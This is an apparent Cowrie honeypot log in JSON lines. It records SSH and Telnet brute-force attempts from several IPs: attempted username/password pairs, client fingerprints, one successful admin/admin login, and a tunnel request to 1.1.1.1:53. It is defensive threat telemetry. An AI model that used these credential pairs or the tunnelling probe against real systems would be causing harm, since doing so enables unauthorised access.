{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:47.270734Z","src_ip":"185.236.22.41","session":"989bc15494cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x123456","message":"login attempt [root/x123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:47.661637Z","src_ip":"185.236.22.41","session":"989bc15494cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:48.787189Z","src_ip":"185.236.22.41","session":"989bc15494cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39072,"dst_ip":"159.203.135.109","dst_port":22,"session":"7585c89f7cf9","protocol":"ssh","message":"New connection: 2.57.122.238:39072 (159.203.135.109:22) [session: 7585c89f7cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:07.316772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:07.321245Z","src_ip":"2.57.122.238","session":"7585c89f7cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:07.417857Z","src_ip":"2.57.122.238","session":"7585c89f7cf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:07.705185Z","src_ip":"2.57.122.238","session":"7585c89f7cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:08.804864Z","src_ip":"2.57.122.238","session":"7585c89f7cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57882,"dst_ip":"10.17.0.5","dst_port":22,"session":"af62397a9bb9","protocol":"ssh","message":"New connection: 103.27.238.114:57882 (10.17.0.5:22) [session: af62397a9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:26.827654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:26.832438Z","src_ip":"103.27.238.114","session":"af62397a9bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:27.094010Z","src_ip":"103.27.238.114","session":"af62397a9bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pavel","message":"login attempt [root/pavel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:27.877991Z","src_ip":"103.27.238.114","session":"af62397a9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:29.149918Z","src_ip":"103.27.238.114","session":"af62397a9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52016,"dst_ip":"10.17.0.5","dst_port":23,"session":"56608e9ebaa1","protocol":"telnet","message":"New connection: 192.119.13.58:52016 (10.17.0.5:23) [session: 56608e9ebaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:54:46.199042Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":47838,"dst_ip":"159.203.135.109","dst_port":22,"session":"54ea5c6eb41c","protocol":"ssh","message":"New connection: 89.108.118.91:47838 (159.203.135.109:22) [session: 54ea5c6eb41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:26.854133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:26.859291Z","src_ip":"89.108.118.91","session":"54ea5c6eb41c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:26.987939Z","src_ip":"89.108.118.91","session":"54ea5c6eb41c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:27.376652Z","src_ip":"89.108.118.91","session":"54ea5c6eb41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:28.507521Z","src_ip":"89.108.118.91","session":"54ea5c6eb41c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.612630128860474,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:34.811571Z","src_ip":"192.119.13.58","session":"56608e9ebaa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d943178a463d","protocol":"ssh","message":"New connection: 77.94.47.83:49198 (159.203.135.109:22) [session: d943178a463d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:41.386268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:41.393796Z","src_ip":"77.94.47.83","session":"d943178a463d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:41.518542Z","src_ip":"77.94.47.83","session":"d943178a463d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol123","message":"login attempt [root/parol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:41.892409Z","src_ip":"77.94.47.83","session":"d943178a463d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:43.020664Z","src_ip":"77.94.47.83","session":"d943178a463d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38456,"dst_ip":"10.17.0.5","dst_port":23,"session":"480c2329f3bd","protocol":"telnet","message":"New connection: 192.119.13.58:38456 (10.17.0.5:23) [session: 480c2329f3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:55:56.077172Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48134,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8f18093ea68","protocol":"ssh","message":"New connection: 80.94.92.186:48134 (159.203.135.109:22) [session: d8f18093ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:05.865180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:06.000461Z","src_ip":"80.94.92.186","session":"d8f18093ea68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:06.004692Z","src_ip":"80.94.92.186","session":"d8f18093ea68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:07.250060Z","src_ip":"80.94.92.186","session":"d8f18093ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:08.407940Z","src_ip":"80.94.92.186","session":"d8f18093ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53884,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c35ece86d3b","protocol":"ssh","message":"New connection: 2.57.122.238:53884 (159.203.135.109:22) [session: 5c35ece86d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:13.622936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:13.630448Z","src_ip":"2.57.122.238","session":"5c35ece86d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:13.733660Z","src_ip":"2.57.122.238","session":"5c35ece86d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:14.045915Z","src_ip":"2.57.122.238","session":"5c35ece86d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:15.153324Z","src_ip":"2.57.122.238","session":"5c35ece86d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b8fce2bec5","protocol":"ssh","message":"New connection: 87.251.64.176:39372 (10.17.0.5:22) [session: b9b8fce2bec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.257809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.262220Z","src_ip":"87.251.64.176","session":"b9b8fce2bec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.359004Z","src_ip":"87.251.64.176","session":"b9b8fce2bec5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.648865Z","src_ip":"87.251.64.176","session":"b9b8fce2bec5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.747919Z","session":"b9b8fce2bec5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:56:30.845945Z","src_ip":"87.251.64.176","session":"b9b8fce2bec5","protocol":"ssh"}
